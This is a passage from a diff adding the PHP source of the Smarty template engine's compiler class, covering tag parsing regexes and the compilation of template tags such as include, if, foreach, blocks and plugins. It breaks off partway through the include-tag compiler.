+ var $_db_qstr_regexp = null; // regexps are setup in the constructor
+ var $_si_qstr_regexp = null;
+ var $_qstr_regexp = null;
+ var $_func_regexp = null;
+ var $_var_bracket_regexp = null;
+ var $_dvar_guts_regexp = null;
+ var $_dvar_regexp = null;
+ var $_cvar_regexp = null;
+ var $_svar_regexp = null;
+ var $_avar_regexp = null;
+ var $_mod_regexp = null;
+ var $_var_regexp = null;
+ var $_parenth_param_regexp = null;
+ var $_func_call_regexp = null;
+ var $_obj_ext_regexp = null;
+ var $_obj_start_regexp = null;
+ var $_obj_params_regexp = null;
+ var $_obj_call_regexp = null;
+ var $_cacheable_state = 0;
+ var $_cache_attrs_count = 0;
+ var $_nocache_count = 0;
+ var $_cache_serial = null;
+ var $_cache_include = null;
+
+ var $_strip_depth = 0;
+ var $_additional_newline = "\n";
+
+ /**#@-*/
+ /**
+ * The class constructor.
+ */
+ function Smarty_Compiler()
+ {
+ // matches double quoted strings:
+ // "foobar"
+ // "foo\"bar"
+ $this->_db_qstr_regexp = '"[^"\\\\]*(?:\\\\.[^"\\\\]*)*"';
+
+ // matches single quoted strings:
+ // 'foobar'
+ // 'foo\'bar'
+ $this->_si_qstr_regexp = '\'[^\'\\\\]*(?:\\\\.[^\'\\\\]*)*\'';
+
+ // matches single or double quoted strings
+ $this->_qstr_regexp = '(?:' . $this->_db_qstr_regexp . '|' . $this->_si_qstr_regexp . ')';
+
+ // matches bracket portion of vars
+ // [0]
+ // [foo]
+ // [$bar]
+ $this->_var_bracket_regexp = '\[\$?[\w\.]+\]';
+
+ // matches $ vars (not objects):
+ // $foo
+ // $foo.bar
+ // $foo.bar.foobar
+ // $foo[0]
+ // $foo[$bar]
+ // $foo[5][blah]
+ // $foo[5].bar[$foobar][4]
+ $this->_dvar_math_regexp = '[\+\-\*\/\%]';
+ $this->_dvar_math_var_regexp = '[\$\w\.\+\-\*\/\%\d\>\[\]]';
+ $this->_dvar_num_var_regexp = '\-?\d+(?:\.\d+)?' . $this->_dvar_math_var_regexp;
+ $this->_dvar_guts_regexp = '\w+(?:' . $this->_var_bracket_regexp
+ . ')*(?:\.\$?\w+(?:' . $this->_var_bracket_regexp . ')*)*(?:' . $this->_dvar_math_regexp . '(?:\-?\d+(?:\.\d+)?|' . $this->_dvar_math_var_regexp . ')*)?';
+ $this->_dvar_regexp = '\$' . $this->_dvar_guts_regexp;
+
+ // matches config vars:
+ // #foo#
+ // #foobar123_foo#
+ $this->_cvar_regexp = '\#\w+\#';
+
+ // matches section vars:
+ // %foo.bar%
+ $this->_svar_regexp = '\%\w+\.\w+\%';
+
+ // matches all valid variables (no quotes, no modifiers)
+ $this->_avar_regexp = '(?:' . $this->_dvar_regexp . '|'
+ . $this->_cvar_regexp . '|' . $this->_svar_regexp . ')';
+
+ // matches valid variable syntax:
+ // $foo
+ // $foo
+ // #foo#
+ // #foo#
+ // "text"
+ // "text"
+ $this->_var_regexp = '(?:' . $this->_avar_regexp . '|' . $this->_qstr_regexp . ')';
+
+ // matches valid object call (no objects allowed in parameters):
+ // $foo->bar
+ // $foo->bar()
+ // $foo->bar("text")
+ // $foo->bar($foo, $bar, "text")
+ // $foo->bar($foo, "foo")
+ // $foo->bar->foo()
+ // $foo->bar->foo->bar()
+ $this->_obj_ext_regexp = '\->(?:\$?' . $this->_dvar_guts_regexp . ')';
+ $this->_obj_params_regexp = '\((?:\w+|'
+ . $this->_var_regexp . '(?:\s*,\s*(?:(?:\w+|'
+ . $this->_var_regexp . ')))*)?\)';
+ $this->_obj_start_regexp = '(?:' . $this->_dvar_regexp . '(?:' . $this->_obj_ext_regexp . ')+)';
+ $this->_obj_call_regexp = '(?:' . $this->_obj_start_regexp . '(?:' . $this->_obj_params_regexp . ')?)';
+
+ // matches valid modifier syntax:
+ // |foo
+ // |@foo
+ // |foo:"bar"
+ // |foo:$bar
+ // |foo:"bar":$foobar
+ // |foo|bar
+ // |foo:$foo->bar
+ $this->_mod_regexp = '(?:\|@?\w+(?::(?>-?\w+|'
+ . $this->_obj_call_regexp . '|' . $this->_avar_regexp . '|' . $this->_qstr_regexp .'))*)';
+
+ // matches valid function name:
+ // foo123
+ // _foo_bar
+ $this->_func_regexp = '[a-zA-Z_]\w*';
+
+ // matches valid registered object:
+ // foo->bar
+ $this->_reg_obj_regexp = '[a-zA-Z_]\w*->[a-zA-Z_]\w*';
+
+ // matches valid parameter values:
+ // true
+ // $foo
+ // $foo|bar
+ // #foo#
+ // #foo#|bar
+ // "text"
+ // "text"|bar
+ // $foo->bar
+ $this->_param_regexp = '(?:\s*(?:' . $this->_obj_call_regexp . '|'
+ . $this->_var_regexp . '|\w+)(?>' . $this->_mod_regexp . '*)\s*)';
+
+ // matches valid parenthesised function parameters:
+ //
+ // "text"
+ // $foo, $bar, "text"
+ // $foo|bar, "foo"|bar, $foo->bar($foo)|bar
+ $this->_parenth_param_regexp = '(?:\((?:\w+|'
+ . $this->_param_regexp . '(?:\s*,\s*(?:(?:\w+|'
+ . $this->_param_regexp . ')))*)?\))';
+
+ // matches valid function call:
+ // foo()
+ // foo_bar($foo)
+ // _foo_bar($foo,"bar")
+ // foo123($foo,$foo->bar(),"foo")
+ $this->_func_call_regexp = '(?:' . $this->_func_regexp . '\s*(?:'
+ . $this->_parenth_param_regexp . '))';
+ }
+
+ /**
+ * compile a resource
+ *
+ * sets $compiled_content to the compiled source
+ * @param string $resource_name
+ * @param string $source_content
+ * @param string $compiled_content
+ * @return true
+ */
+ function _compile_file($resource_name, $source_content, &$compiled_content)
+ {
+
+ if ($this->security) {
+ // do not allow php syntax to be executed unless specified
+ if ($this->php_handling == SMARTY_PHP_ALLOW &&
+ !$this->security_settings['PHP_HANDLING']) {
+ $this->php_handling = SMARTY_PHP_PASSTHRU;
+ }
+ }
+
+ $this->_load_filters();
+
+ $this->_current_file = $resource_name;
+ $this->_current_line_no = 1;
+ $ldq = preg_quote($this->left_delimiter, '!');
+ $rdq = preg_quote($this->right_delimiter, '!');
+
+ // run template source through prefilter functions
+ if (count($this->_plugins['prefilter']) > 0) {
+ foreach ($this->_plugins['prefilter'] as $filter_name => $prefilter) {
+ if ($prefilter === false) continue;
+ if ($prefilter[3] || is_callable($prefilter[0])) {
+ $source_content = call_user_func_array($prefilter[0],
+ array($source_content, &$this));
+ $this->_plugins['prefilter'][$filter_name][3] = true;
+ } else {
+ $this->_trigger_fatal_error("[plugin] prefilter '$filter_name' is not implemented");
+ }
+ }
+ }
+
+ /* fetch all special blocks */
+ $search = "!{$ldq}\*(.*?)\*{$rdq}|{$ldq}\s*literal\s*{$rdq}(.*?){$ldq}\s*/literal\s*{$rdq}|{$ldq}\s*php\s*{$rdq}(.*?){$ldq}\s*/php\s*{$rdq}!s";
+
+ preg_match_all($search, $source_content, $match, PREG_SET_ORDER);
+ $this->_folded_blocks = $match;
+ reset($this->_folded_blocks);
+
+ /* replace special blocks by "{php}" */
+ $source_content = preg_replace($search.'e', "'"
+ . $this->_quote_replace($this->left_delimiter) . 'php'
+ . "' . str_repeat(\"\n\", substr_count('\\0', \"\n\")) .'"
+ . $this->_quote_replace($this->right_delimiter)
+ . "'"
+ , $source_content);
+
+ /* Gather all template tags. */
+ preg_match_all("!{$ldq}\s*(.*?)\s*{$rdq}!s", $source_content, $_match);
+ $template_tags = $_match[1];
+ /* Split content by template tags to obtain non-template content. */
+ $text_blocks = preg_split("!{$ldq}.*?{$rdq}!s", $source_content);
+
+ /* loop through text blocks */
+ for ($curr_tb = 0, $for_max = count($text_blocks); $curr_tb < $for_max; $curr_tb++) {
+ /* match anything resembling php tags */
+ if (preg_match_all('!(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)!is', $text_blocks[$curr_tb], $sp_match)) {
+ /* replace tags with placeholders to prevent recursive replacements */
+ $sp_match[1] = array_unique($sp_match[1]);
+ usort($sp_match[1], '_smarty_sort_length');
+ for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) {
+ $text_blocks[$curr_tb] = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$text_blocks[$curr_tb]);
+ }
+ /* process each one */
+ for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) {
+ if ($this->php_handling == SMARTY_PHP_PASSTHRU) {
+ /* echo php contents */
+ $text_blocks[$curr_tb] = str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $text_blocks[$curr_tb]);
+ } else if ($this->php_handling == SMARTY_PHP_QUOTE) {
+ /* quote php tags */
+ $text_blocks[$curr_tb] = str_replace('%%%SMARTYSP'.$curr_sp.'%%%', htmlspecialchars($sp_match[1][$curr_sp]), $text_blocks[$curr_tb]);
+ } else if ($this->php_handling == SMARTY_PHP_REMOVE) {
+ /* remove php tags */
+ $text_blocks[$curr_tb] = str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '', $text_blocks[$curr_tb]);
+ } else {
+ /* SMARTY_PHP_ALLOW, but echo non php starting tags */
+ $sp_match[1][$curr_sp] = preg_replace('%(<\?(?!php|=|$))%i', '<?php echo \'\\1\'?>'."\n", $sp_match[1][$curr_sp]);
+ $text_blocks[$curr_tb] = str_replace('%%%SMARTYSP'.$curr_sp.'%%%', $sp_match[1][$curr_sp], $text_blocks[$curr_tb]);
+ }
+ }
+ }
+ }
+
+ /* Compile the template tags into PHP code. */
+ $compiled_tags = array();
+ for ($i = 0, $for_max = count($template_tags); $i < $for_max; $i++) {
+ $this->_current_line_no += substr_count($text_blocks[$i], "\n");
+ $compiled_tags[] = $this->_compile_tag($template_tags[$i]);
+ $this->_current_line_no += substr_count($template_tags[$i], "\n");
+ }
+ if (count($this->_tag_stack)>0) {
+ list($_open_tag, $_line_no) = end($this->_tag_stack);
+ $this->_syntax_error("unclosed tag \{$_open_tag} (opened line $_line_no).", E_USER_ERROR, __FILE__, __LINE__);
+ return;
+ }
+
+ $compiled_content = '';
+
+ /* Interleave the compiled contents and text blocks to get the final result. */
+ for ($i = 0, $for_max = count($compiled_tags); $i < $for_max; $i++) {
+ if ($compiled_tags[$i] == '') {
+ // tag result empty, remove first newline from following text block
+ $text_blocks[$i+1] = preg_replace('!^(\r\n|\r|\n)!', '', $text_blocks[$i+1]);
+ }
+ $compiled_content .= $text_blocks[$i].$compiled_tags[$i];
+ }
+ $compiled_content .= $text_blocks[$i];
+
+ /* Reformat data between 'strip' and '/strip' tags, removing spaces, tabs and newlines. */
+ if (preg_match_all("!{$ldq}strip{$rdq}.*?{$ldq}/strip{$rdq}!s", $compiled_content, $_match)) {
+ $strip_tags = $_match[0];
+ $strip_tags_modified = preg_replace("!{$ldq}/?strip{$rdq}|[\t ]+$|^[\t ]+!m", '', $strip_tags);
+ $strip_tags_modified = preg_replace('![\r\n]+!m', '', $strip_tags_modified);
+ for ($i = 0, $for_max = count($strip_tags); $i < $for_max; $i++)
+ $compiled_content = preg_replace("!{$ldq}strip{$rdq}.*?{$ldq}/strip{$rdq}!s",
+ $this->_quote_replace($strip_tags_modified[$i]),
+ $compiled_content, 1);
+ }
+
+ // remove \n from the end of the file, if any
+ if (($_len=strlen($compiled_content)) && ($compiled_content{$_len - 1} == "\n" )) {
+ $compiled_content = substr($compiled_content, 0, -1);
+ }
+
+ if (!empty($this->_cache_serial)) {
+ $compiled_content = "<?php \$this->_cache_serials['".$this->_cache_include."'] = '".$this->_cache_serial."'; ?>" . $compiled_content;
+ }
+
+ // remove unnecessary close/open tags
+ $compiled_content = preg_replace('!\?>\n?<\?php!', '', $compiled_content);
+
+ // run compiled template through postfilter functions
+ if (count($this->_plugins['postfilter']) > 0) {
+ foreach ($this->_plugins['postfilter'] as $filter_name => $postfilter) {
+ if ($postfilter === false) continue;
+ if ($postfilter[3] || is_callable($postfilter[0])) {
+ $compiled_content = call_user_func_array($postfilter[0],
+ array($compiled_content, &$this));
+ $this->_plugins['postfilter'][$filter_name][3] = true;
+ } else {
+ $this->_trigger_fatal_error("Smarty plugin error: postfilter '$filter_name' is not implemented");
+ }
+ }
+ }
+
+ // put header at the top of the compiled template
+ $template_header = "<?php /* Smarty version ".$this->_version.", created on ".strftime("%Y-%m-%d %H:%M:%S")."\n";
+ $template_header .= " compiled from ".strtr(urlencode($resource_name), array('%2F'=>'/', '%3A'=>':'))." */ ?>\n";
+
+ /* Emit code to load needed plugins. */
+ $this->_plugins_code = '';
+ if (count($this->_plugin_info)) {
+ $_plugins_params = "array('plugins' => array(";
+ foreach ($this->_plugin_info as $plugin_type => $plugins) {
+ foreach ($plugins as $plugin_name => $plugin_info) {
+ $_plugins_params .= "array('$plugin_type', '$plugin_name', '$plugin_info[0]', $plugin_info[1], ";
+ $_plugins_params .= $plugin_info[2] ? 'true),' : 'false),';
+ }
+ }
+ $_plugins_params .= '))';
+ $plugins_code = "<?php require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.load_plugins.php');\nsmarty_core_load_plugins($_plugins_params, \$this); ?>\n";
+ $template_header .= $plugins_code;
+ $this->_plugin_info = array();
+ $this->_plugins_code = $plugins_code;
+ }
+
+ if ($this->_init_smarty_vars) {
+ $template_header .= "<?php require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.assign_smarty_interface.php');\nsmarty_core_assign_smarty_interface(null, \$this); ?>\n";
+ $this->_init_smarty_vars = false;
+ }
+
+ $compiled_content = $template_header . $compiled_content;
+ return true;
+ }
+
+ /**
+ * Compile a template tag
+ *
+ * @param string $template_tag
+ * @return string
+ */
+ function _compile_tag($template_tag)
+ {
+ /* Matched comment. */
+ if ($template_tag{0} == '*' && $template_tag{strlen($template_tag) - 1} == '*')
+ return '';
+
+ /* Split tag into two three parts: command, command modifiers and the arguments. */
+ if(! preg_match('/^(?:(' . $this->_obj_call_regexp . '|' . $this->_var_regexp
+ . '|\/?' . $this->_reg_obj_regexp . '|\/?' . $this->_func_regexp . ')(' . $this->_mod_regexp . '*))
+ (?:\s+(.*))?$
+ /xs', $template_tag, $match)) {
+ $this->_syntax_error("unrecognized tag: $template_tag", E_USER_ERROR, __FILE__, __LINE__);
+ }
+
+ $tag_command = $match[1];
+ $tag_modifier = isset($match[2]) ? $match[2] : null;
+ $tag_args = isset($match[3]) ? $match[3] : null;
+
+ if (preg_match('!^' . $this->_obj_call_regexp . '|' . $this->_var_regexp . '$!', $tag_command)) {
+ /* tag name is a variable or object */
+ $_return = $this->_parse_var_props($tag_command . $tag_modifier, $this->_parse_attrs($tag_args));
+ if(isset($_tag_attrs['assign'])) {
+ return "<?php \$this->assign('" . $this->_dequote($_tag_attrs['assign']) . "', $_return ); ?>\n";
+ } else {
+ return "<?php echo $_return; ?>" . $this->_additional_newline;
+ }
+ }
+
+ /* If the tag name is a registered object, we process it. */
+ if (preg_match('!^\/?' . $this->_reg_obj_regexp . '$!', $tag_command)) {
+ return $this->_compile_registered_object_tag($tag_command, $this->_parse_attrs($tag_args), $tag_modifier);
+ }
+
+ switch ($tag_command) {
+ case 'include':
+ return $this->_compile_include_tag($tag_args);
+
+ case 'include_php':
+ return $this->_compile_include_php_tag($tag_args);
+
+ case 'if':
+ $this->_push_tag('if');
+ return $this->_compile_if_tag($tag_args);
+
+ case 'else':
+ list($_open_tag) = end($this->_tag_stack);
+ if ($_open_tag != 'if' && $_open_tag != 'elseif')
+ $this->_syntax_error('unxepected {else}', E_USER_ERROR, __FILE__, __LINE__);
+ else
+ $this->_push_tag('else');
+ return '<?php else: ?>';
+
+ case 'elseif':
+ list($_open_tag) = end($this->_tag_stack);
+ if ($_open_tag != 'if' && $_open_tag != 'elseif')
+ $this->_syntax_error('unxepected {elseif}', E_USER_ERROR, __FILE__, __LINE__);
+ if ($_open_tag == 'if')
+ $this->_push_tag('elseif');
+ return $this->_compile_if_tag($tag_args, true);
+
+ case '/if':
+ $this->_pop_tag('if');
+ return '<?php endif; ?>';
+
+ case 'capture':
+ return $this->_compile_capture_tag(true, $tag_args);
+
+ case '/capture':
+ return $this->_compile_capture_tag(false);
+
+ case 'ldelim':
+ return $this->left_delimiter;
+
+ case 'rdelim':
+ return $this->right_delimiter;
+
+ case 'section':
+ $this->_push_tag('section');
+ return $this->_compile_section_start($tag_args);
+
+ case 'sectionelse':
+ $this->_push_tag('sectionelse');
+ return "<?php endfor; else: ?>";
+ break;
+
+ case '/section':
+ $_open_tag = $this->_pop_tag('section');
+ if ($_open_tag == 'sectionelse')
+ return "<?php endif; ?>";
+ else
+ return "<?php endfor; endif; ?>";
+
+ case 'foreach':
+ $this->_push_tag('foreach');
+ return $this->_compile_foreach_start($tag_args);
+ break;
+
+ case 'foreachelse':
+ $this->_push_tag('foreachelse');
+ return "<?php endforeach; unset(\$_from); else: ?>";
+
+ case '/foreach':
+ $_open_tag = $this->_pop_tag('foreach');
+ if ($_open_tag == 'foreachelse')
+ return "<?php endif; ?>";
+ else
+ return "<?php endforeach; unset(\$_from); endif; ?>";
+ break;
+
+ case 'strip':
+ case '/strip':
+ if ($tag_command{0}=='/') {
+ $this->_pop_tag('strip');
+ if (--$this->_strip_depth==0) { /* outermost closing {/strip} */
+ $this->_additional_newline = "\n";
+ return $this->left_delimiter.$tag_command.$this->right_delimiter;
+ }
+ } else {
+ $this->_push_tag('strip');
+ if ($this->_strip_depth++==0) { /* outermost opening {strip} */
+ $this->_additional_newline = "";
+ return $this->left_delimiter.$tag_command.$this->right_delimiter;
+ }
+ }
+ return '';
+
+ case 'php':
+ /* handle folded tags replaced by {php} */
+ list(, $block) = each($this->_folded_blocks);
+ $this->_current_line_no += substr_count($block[0], "\n");
+ /* the number of matched elements in the regexp in _compile_file()
+ determins the type of folded tag that was found */
+ switch (count($block)) {
+ case 2: /* comment */
+ return '';
+
+ case 3: /* literal */
+ return "<?php echo '" . strtr($block[2], array("'"=>"\'", "\\"=>"\\\\")) . "'; ?>" . $this->_additional_newline;
+
+ case 4: /* php */
+ if ($this->security && !$this->security_settings['PHP_TAGS']) {
+ $this->_syntax_error("(secure mode) php tags not permitted", E_USER_WARNING, __FILE__, __LINE__);
+ return;
+ }
+ return '<?php ' . $block[3] .' ?>';
+ }
+ break;
+
+ case 'insert':
+ return $this->_compile_insert_tag($tag_args);
+
+ default:
+ if ($this->_compile_compiler_tag($tag_command, $tag_args, $output)) {
+ return $output;
+ } else if ($this->_compile_block_tag($tag_command, $tag_args, $tag_modifier, $output)) {
+ return $output;
+ } else if ($this->_compile_custom_tag($tag_command, $tag_args, $tag_modifier, $output)) {
+ return $output;
+ } else {
+ $this->_syntax_error("unrecognized tag '$tag_command'", E_USER_ERROR, __FILE__, __LINE__);
+ }
+
+ }
+ }
+
+
+ /**
+ * compile the custom compiler tag
+ *
+ * sets $output to the compiled custom compiler tag
+ * @param string $tag_command
+ * @param string $tag_args
+ * @param string $output
+ * @return boolean
+ */
+ function _compile_compiler_tag($tag_command, $tag_args, &$output)
+ {
+ $found = false;
+ $have_function = true;
+
+ /*
+ * First we check if the compiler function has already been registered
+ * or loaded from a plugin file.
+ */
+ if (isset($this->_plugins['compiler'][$tag_command])) {
+ $found = true;
+ $plugin_func = $this->_plugins['compiler'][$tag_command][0];
+ if (!is_callable($plugin_func)) {
+ $message = "compiler function '$tag_command' is not implemented";
+ $have_function = false;
+ }
+ }
+ /*
+ * Otherwise we need to load plugin file and look for the function
+ * inside it.
+ */
+ else if ($plugin_file = $this->_get_plugin_filepath('compiler', $tag_command)) {
+ $found = true;
+
+ include_once $plugin_file;
+
+ $plugin_func = 'smarty_compiler_' . $tag_command;
+ if (!is_callable($plugin_func)) {
+ $message = "plugin function $plugin_func() not found in $plugin_file\n";
+ $have_function = false;
+ } else {
+ $this->_plugins['compiler'][$tag_command] = array($plugin_func, null, null, null, true);
+ }
+ }
+
+ /*
+ * True return value means that we either found a plugin or a
+ * dynamically registered function. False means that we didn't and the
+ * compiler should now emit code to load custom function plugin for this
+ * tag.
+ */
+ if ($found) {
+ if ($have_function) {
+ $output = call_user_func_array($plugin_func, array($tag_args, &$this));
+ if($output != '') {
+ $output = '<?php ' . $this->_push_cacheable_state('compiler', $tag_command)
+ . $output
+ . $this->_pop_cacheable_state('compiler', $tag_command) . ' ?>';
+ }
+ } else {
+ $this->_syntax_error($message, E_USER_WARNING, __FILE__, __LINE__);
+ }
+ return true;
+ } else {
+ return false;
+ }
+ }
+
+
+ /**
+ * compile block function tag
+ *
+ * sets $output to compiled block function tag
+ * @param string $tag_command
+ * @param string $tag_args
+ * @param string $tag_modifier
+ * @param string $output
+ * @return boolean
+ */
+ function _compile_block_tag($tag_command, $tag_args, $tag_modifier, &$output)
+ {
+ if ($tag_command{0} == '/') {
+ $start_tag = false;
+ $tag_command = substr($tag_command, 1);
+ } else
+ $start_tag = true;
+
+ $found = false;
+ $have_function = true;
+
+ /*
+ * First we check if the block function has already been registered
+ * or loaded from a plugin file.
+ */
+ if (isset($this->_plugins['block'][$tag_command])) {
+ $found = true;
+ $plugin_func = $this->_plugins['block'][$tag_command][0];
+ if (!is_callable($plugin_func)) {
+ $message = "block function '$tag_command' is not implemented";
+ $have_function = false;
+ }
+ }
+ /*
+ * Otherwise we need to load plugin file and look for the function
+ * inside it.
+ */
+ else if ($plugin_file = $this->_get_plugin_filepath('block', $tag_command)) {
+ $found = true;
+
+ include_once $plugin_file;
+
+ $plugin_func = 'smarty_block_' . $tag_command;
+ if (!function_exists($plugin_func)) {
+ $message = "plugin function $plugin_func() not found in $plugin_file\n";
+ $have_function = false;
+ } else {
+ $this->_plugins['block'][$tag_command] = array($plugin_func, null, null, null, true);
+
+ }
+ }
+
+ if (!$found) {
+ return false;
+ } else if (!$have_function) {
+ $this->_syntax_error($message, E_USER_WARNING, __FILE__, __LINE__);
+ return true;
+ }
+
+ /*
+ * Even though we've located the plugin function, compilation
+ * happens only once, so the plugin will still need to be loaded
+ * at runtime for future requests.
+ */
+ $this->_add_plugin('block', $tag_command);
+
+ if ($start_tag)
+ $this->_push_tag($tag_command);
+ else
+ $this->_pop_tag($tag_command);
+
+ if ($start_tag) {
+ $output = '<?php ' . $this->_push_cacheable_state('block', $tag_command);
+ $attrs = $this->_parse_attrs($tag_args);
+ $arg_list = $this->_compile_arg_list('block', $tag_command, $attrs, $_cache_attrs='');
+ $output .= "$_cache_attrs\$this->_tag_stack[] = array('$tag_command', array(".implode(',', $arg_list).')); ';
+ $output .= $this->_compile_plugin_call('block', $tag_command).'($this->_tag_stack[count($this->_tag_stack)-1][1], null, $this, $_block_repeat=true);';
+ $output .= 'while ($_block_repeat) { ob_start(); ?>';
+ } else {
+ $output = '<?php $this->_block_content = ob_get_contents(); ob_end_clean(); ';
+ $_out_tag_text = $this->_compile_plugin_call('block', $tag_command).'($this->_tag_stack[count($this->_tag_stack)-1][1], $this->_block_content, $this, $_block_repeat=false)';
+ if ($tag_modifier != '') {
+ $this->_parse_modifiers($_out_tag_text, $tag_modifier);
+ }
+ $output .= 'echo '.$_out_tag_text.'; } ';
+ $output .= " array_pop(\$this->_tag_stack); " . $this->_pop_cacheable_state('block', $tag_command) . '?>';
+ }
+
+ return true;
+ }
+
+
+ /**
+ * compile custom function tag
+ *
+ * @param string $tag_command
+ * @param string $tag_args
+ * @param string $tag_modifier
+ * @return string
+ */
+ function _compile_custom_tag($tag_command, $tag_args, $tag_modifier, &$output)
+ {
+ $found = false;
+ $have_function = true;
+
+ /*
+ * First we check if the custom function has already been registered
+ * or loaded from a plugin file.
+ */
+ if (isset($this->_plugins['function'][$tag_command])) {
+ $found = true;
+ $plugin_func = $this->_plugins['function'][$tag_command][0];
+ if (!is_callable($plugin_func)) {
+ $message = "custom function '$tag_command' is not implemented";
+ $have_function = false;
+ }
+ }
+ /*
+ * Otherwise we need to load plugin file and look for the function
+ * inside it.
+ */
+ else if ($plugin_file = $this->_get_plugin_filepath('function', $tag_command)) {
+ $found = true;
+
+ include_once $plugin_file;
+
+ $plugin_func = 'smarty_function_' . $tag_command;
+ if (!function_exists($plugin_func)) {
+ $message = "plugin function $plugin_func() not found in $plugin_file\n";
+ $have_function = false;
+ } else {
+ $this->_plugins['function'][$tag_command] = array($plugin_func, null, null, null, true);
+
+ }
+ }
+
+ if (!$found) {
+ return false;
+ } else if (!$have_function) {
+ $this->_syntax_error($message, E_USER_WARNING, __FILE__, __LINE__);
+ return true;
+ }
+
+ /* declare plugin to be loaded on display of the template that
+ we compile right now */
+ $this->_add_plugin('function', $tag_command);
+
+ $_cacheable_state = $this->_push_cacheable_state('function', $tag_command);
+ $attrs = $this->_parse_attrs($tag_args);
+ $arg_list = $this->_compile_arg_list('function', $tag_command, $attrs, $_cache_attrs='');
+
+ $output = $this->_compile_plugin_call('function', $tag_command).'(array('.implode(',', $arg_list)."), \$this)";
+ if($tag_modifier != '') {
+ $this->_parse_modifiers($output, $tag_modifier);
+ }
+
+ if($output != '') {
+ $output = '<?php ' . $_cacheable_state . $_cache_attrs . 'echo ' . $output . ';'
+ . $this->_pop_cacheable_state('function', $tag_command) . "?>" . $this->_additional_newline;
+ }
+
+ return true;
+ }
+
+ /**
+ * compile a registered object tag
+ *
+ * @param string $tag_command
+ * @param array $attrs
+ * @param string $tag_modifier
+ * @return string
+ */
+ function _compile_registered_object_tag($tag_command, $attrs, $tag_modifier)
+ {
+ if ($tag_command{0} == '/') {
+ $start_tag = false;
+ $tag_command = substr($tag_command, 1);
+ } else {
+ $start_tag = true;
+ }
+
+ list($object, $obj_comp) = explode('->', $tag_command);
+
+ $arg_list = array();
+ if(count($attrs)) {
+ $_assign_var = false;
+ foreach ($attrs as $arg_name => $arg_value) {
+ if($arg_name == 'assign') {
+ $_assign_var = $arg_value;
+ unset($attrs['assign']);
+ continue;
+ }
+ if (is_bool($arg_value))
+ $arg_value = $arg_value ? 'true' : 'false';
+ $arg_list[] = "'$arg_name' => $arg_value";
+ }
+ }
+
+ if($this->_reg_objects[$object][2]) {
+ // smarty object argument format
+ $args = "array(".implode(',', (array)$arg_list)."), \$this";
+ } else {
+ // traditional argument format
+ $args = implode(',', array_values($attrs));
+ if (empty($args)) {
+ $args = 'null';
+ }
+ }
+
+ $prefix = '';
+ $postfix = '';
+ $newline = '';
+ if(!is_object($this->_reg_objects[$object][0])) {
+ $this->_trigger_fatal_error("registered '$object' is not an object" , $this->_current_file, $this->_current_line_no, __FILE__, __LINE__);
+ } elseif(!empty($this->_reg_objects[$object][1]) && !in_array($obj_comp, $this->_reg_objects[$object][1])) {
+ $this->_trigger_fatal_error("'$obj_comp' is not a registered component of object '$object'", $this->_current_file, $this->_current_line_no, __FILE__, __LINE__);
+ } elseif(method_exists($this->_reg_objects[$object][0], $obj_comp)) {
+ // method
+ if(in_array($obj_comp, $this->_reg_objects[$object][3])) {
+ // block method
+ if ($start_tag) {
+ $prefix = "\$this->_tag_stack[] = array('$obj_comp', $args); ";
+ $prefix .= "\$this->_reg_objects['$object'][0]->$obj_comp(\$this->_tag_stack[count(\$this->_tag_stack)-1][1], null, \$this, \$_block_repeat=true); ";
+ $prefix .= "while (\$_block_repeat) { ob_start();";
+ $return = null;
+ $postfix = '';
+ } else {
+ $prefix = "\$this->_obj_block_content = ob_get_contents(); ob_end_clean(); ";
+ $return = "\$this->_reg_objects['$object'][0]->$obj_comp(\$this->_tag_stack[count(\$this->_tag_stack)-1][1], \$this->_obj_block_content, \$this, \$_block_repeat=false)";
+ $postfix = "} array_pop(\$this->_tag_stack);";
+ }
+ } else {
+ // non-block method
+ $return = "\$this->_reg_objects['$object'][0]->$obj_comp($args)";
+ }
+ } else {
+ // property
+ $return = "\$this->_reg_objects['$object'][0]->$obj_comp";
+ }
+
+ if($return != null) {
+ if($tag_modifier != '') {
+ $this->_parse_modifiers($return, $tag_modifier);
+ }
+
+ if(!empty($_assign_var)) {
+ $output = "\$this->assign('" . $this->_dequote($_assign_var) ."', $return);";
+ } else {
+ $output = 'echo ' . $return . ';';
+ $newline = $this->_additional_newline;
+ }
+ } else {
+ $output = '';
+ }
+
+ return '<?php ' . $prefix . $output . $postfix . "?>" . $newline;
+ }
+
+ /**
+ * Compile {insert ...} tag
+ *
+ * @param string $tag_args
+ * @return string
+ */
+ function _compile_insert_tag($tag_args)
+ {
+ $attrs = $this->_parse_attrs($tag_args);
+ $name = $this->_dequote($attrs['name']);
+
+ if (empty($name)) {
+ $this->_syntax_error("missing insert name", E_USER_ERROR, __FILE__, __LINE__);
+ }
+
+ if (!empty($attrs['script'])) {
+ $delayed_loading = true;
+ } else {
+ $delayed_loading = false;
+ }
+
+ foreach ($attrs as $arg_name => $arg_value) {
+ if (is_bool($arg_value))
+ $arg_value = $arg_value ? 'true' : 'false';
+ $arg_list[] = "'$arg_name' => $arg_value";
+ }
+
+ $this->_add_plugin('insert', $name, $delayed_loading);
+
+ $_params = "array('args' => array(".implode(', ', (array)$arg_list)."))";
+
+ return "<?php require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.run_insert_handler.php');\necho smarty_core_run_insert_handler($_params, \$this); ?>" . $this->_additional_newline;
+ }
+
+ /**
+ * Compile {include ...} tag
+ *
+ * @param string $tag_args
+ * @return string
+ */
+ function _compile_include_tag($tag_args)
+ {
+ $attrs = $this->_parse_attrs($tag_args);
+ $arg_list = array();
+
+ if (empty($attrs['file'])) {
+ $this->_syntax_error("missing 'file' attribute in include tag", E_USER_ERROR, __FILE__, __LINE__);
+ }
+
+ foreach ($attrs as $arg_name => $arg_value) {
+ if ($arg_name == 'file') {
+ $include_file = $arg_value;
+ continue;
+ } else if ($arg_name == 'assign') {
+ $assign_var = $arg_value;
+ continue;
+ }
+ if (is_bool($arg_value))
